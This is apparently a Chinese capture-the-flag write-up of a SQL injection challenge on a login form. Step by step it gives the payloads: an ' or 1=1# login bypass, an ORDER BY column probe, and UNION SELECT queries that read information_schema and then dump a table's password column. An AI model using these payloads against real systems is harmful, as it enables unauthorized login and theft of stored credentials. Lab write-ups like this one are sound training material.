解题步骤
1、观察题目,有登录框,要输入用户名和密码
2、先尝试输入用户名为 admin,密码用万能密码 1' or 1=1#,显示登录成功,回显出一串字符


3、问了AI,可能是MD5码,尝试解密,结果失败,继续使用SQL注入的一般思路解题
4、首先用order by判断字段数,尝试到4时报错,说明有3个字段
5、使用联合注入语法知识,用union select进行联合查询判断注入点,继续构造payload:
username=admin'union select 1,2,3#&password=123

发现可以在2和3的位置进行注入
6、查询数据库和版本,用户名输入:
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

得到2个table名称geekuser和l0ve1ysq1,flag在第二个表中
7、获取l0ve1ysq1表的全部字段,username输入:
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

拿到 3 个字段 id,username,password,flag 就在 password 字段中
8、查询l0ve1ysq1 表的 password 字段,获取 flag,用户名输入:
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

右键检查源代码获取flag
2062

被折叠的 条评论
为什么被折叠?



